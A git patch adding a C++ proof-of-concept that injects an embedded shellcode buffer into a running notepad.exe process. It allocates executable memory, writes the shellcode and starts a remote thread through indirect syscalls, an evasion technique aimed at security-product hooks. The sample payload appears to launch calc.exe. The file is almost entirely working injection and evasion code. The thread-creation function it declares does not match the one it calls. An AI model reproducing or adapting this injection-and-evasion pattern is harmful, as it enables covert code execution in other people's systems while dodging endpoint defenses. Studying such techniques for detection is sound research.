From b3c5923408716e69ddb7ea694a3c590d3b069852 Mon Sep 17 00:00:00 2001
From: toneillcodes <148013535+toneillcodes@users.noreply.github.com>
Date: Thu, 30 Apr 2026 21:45:08 -0400
Subject: [PATCH] Create indirect-syscalls-ex.cpp

---
 indirect-syscalls/indirect-syscalls-ex.cpp | 112 +++++++++++++++++++++
 1 file changed, 112 insertions(+)
 create mode 100644 indirect-syscalls/indirect-syscalls-ex.cpp

diff --git a/indirect-syscalls/indirect-syscalls-ex.cpp b/indirect-syscalls/indirect-syscalls-ex.cpp
new file mode 100644
index 0000000..7869e44
--- /dev/null
+++ b/indirect-syscalls/indirect-syscalls-ex.cpp
@@ -0,0 +1,112 @@
+/*
+* ml64.exe /c indirect-syscalls.asm
+* cl.exe indirect-syscalls-ex.cpp ps-utils.cpp syscall-utils.cpp indirect-syscalls.obj /Fe:indirect-syscalls.exe
+*/
+#include <stdio.h>
+#include "syscall-utils.h"
+#include "ps-utils.h"
+
+extern "C" {
+        // https://ntdoc.m417z.com/NtAllocateVirtualMemory
+        NTSTATUS IndirectSysNtAllocateVirtualMemory(
+            HANDLE ProcessHandle,    
+            PVOID* BaseAddress,      
+            ULONG_PTR ZeroBits,      
+            PSIZE_T RegionSize,      
+            ULONG AllocationType,    
+            ULONG Protect            
+        );
+
+        // https://ntdoc.m417z.com/NtWriteVirtualMemory
+        NTSTATUS IndirectSysNtWriteVirtualMemory(
+            HANDLE ProcessHandle,     
+            PVOID BaseAddress,        
+            PVOID Buffer,             
+            SIZE_T NumberOfBytesToWrite, 
+            PSIZE_T NumberOfBytesWritten 
+        );
+
+        // https://ntdoc.m417z.com/ntcreatethreadex
+        NTSTATUS SysNtCreateThreadEx(
+            PHANDLE ThreadHandle,        
+            ACCESS_MASK DesiredAccess,   
+            PVOID ObjectAttributes,      
+            HANDLE ProcessHandle,        
+            PVOID lpStartAddress,        
+            PVOID lpParameter,           
+            ULONG Flags,                 
+            SIZE_T StackZeroBits,        
+            SIZE_T SizeOfStackCommit,    
+            SIZE_T SizeOfStackReserve,   
+            PVOID lpBytesBuffer          
+        );
+
+        // https://ntdoc.m417z.com/NtWaitForSingleObject
+        NTSTATUS IndirectSysNtWaitForSingleObject(
+            HANDLE Handle,          
+            BOOLEAN Alertable,      
+            PLARGE_INTEGER Timeout  
+        );
+}
+
+int main(int argc, char* argv[]) {
+    unsigned char buf[] =
+        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
+        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
+        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
+        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
+        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
+        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
+        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
+        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
+        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
+        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
+        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
+        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
+        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
+        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
+        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
+        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
+        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
+        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
+        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
+
+    DWORD pid = 0;
+    const wchar_t* processName = L"notepad.exe";
+
+    pid = FindPidByName(processName);
+    if (pid == 0) {
+        printf("[ERROR] Failed to obtain process ID!\n");
+        return -1;
+    }
+
+    printf("[*] Running PI with target PID: %u\n", pid);
+
+    // Open a handle to the current process, this must be passed to VirtualAllocEx
+    HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
+    if (pHandle == NULL) {
+        printf("Failed to acquire process handle!\n");
+        return -1;
+    }
+
+    printf("[*] Successfully opened handle to PID: %u\n", pid);
+
+    PVOID bufferAddress = NULL;
+	  SIZE_T buffSize = sizeof(buf); 
+	  //SysNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
+    IndirectSysNtAllocateVirtualMemory(pHandle, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
+
+	  SIZE_T bytesWritten;
+	  //SysNtWriteVirtualMemory(GetCurrentProcess(), bufferAddress, buf, sizeof(buf), &bytesWritten);
+    IndirectSysNtWriteVirtualMemory(pHandle, bufferAddress, buf, sizeof(buf), &bytesWritten);
+
+	  HANDLE hThread;	
+	  //SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
+    IndirectSysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pHandle, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
+	
+	  IndirectSysNtWaitForSingleObject(hThread, FALSE, NULL);
+	  getchar();
+
+    return 0;
+}